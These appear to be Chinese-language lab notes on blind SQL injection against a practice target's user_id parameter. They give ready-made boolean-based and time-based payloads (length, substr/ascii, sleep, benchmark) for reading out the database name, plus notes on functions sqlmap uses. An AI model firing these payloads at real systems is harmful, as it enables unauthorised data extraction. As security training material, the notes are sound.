一.首先输入1和-1 查看输入正确和不正确两种情况
二.三种注入POC
LOW等级
... where user_id =$id
输入 真 and 假 = 假
(1)...where user_id = 1 and 1=2
(2)...where user_id = 1' and '1'='2
(3)...where user_id = 1" and "1"="2
如果结果显示为 MISSING 则说明 假的数据(1=2)被注入进去
结果单引号的为假,则存在SQL盲注漏洞
1' and 真 -- 结果为真
1' and 假 -- 结果为假
三.获取数据
布尔型注入
(1)猜解字符串长度 length(str)
输入:1' and length(database())>1--
或 用hackbar
1' and length(database())>10--
用二分法得到database长度为4
(2)猜解字符串
获取单个字符 substr(string,start,length) 类似于暴力破解,有点慢
获取字符ascii码 ascii(string) 单字符的ascii的范围 0~127
输入:1’ and ascii(substr(database(),1,1))>64 --
利用二分法
得到第一个字符ascii为100 是字母d
同样获得1’ and ascii(substr(database(),2,1))>64 -- 第二,三,四个
1’ and ascii(substr(database(),3,1))>64 --
1’ and ascii(substr(database(),4,1))>64 --
延时型注入
SQL函数:if(expr1,expr2,expr3)如果1为真,返回2,否则返回3
sleep(N) 休眠N秒
benchmark(count,expr) 重复计算(计算次数,表达式)
输入:1‘ and sleep(if(length(database())=4,5,0))-- 为真
输入:1‘ and sleep(if(length(database())=4,5,0))-- 为假
输入:1' and benchmark(if(length(database())=4,5000000,0),md5('test'));--
sqlmap中payload中的各种函数:
(1)数据类型的转换 cast(expression as data_type) expression:表达式 data_type:新的数据类型
(2)ifnull(expr1,expr2)
如果expr1是null,返回expr2,否则返回它本身
(3)mid(expression,start,length)
获取子字符串(源字符串,子串开始位置,子串长度)
(4)ord(string)
获取第一个字符的ASCII数值(字符串)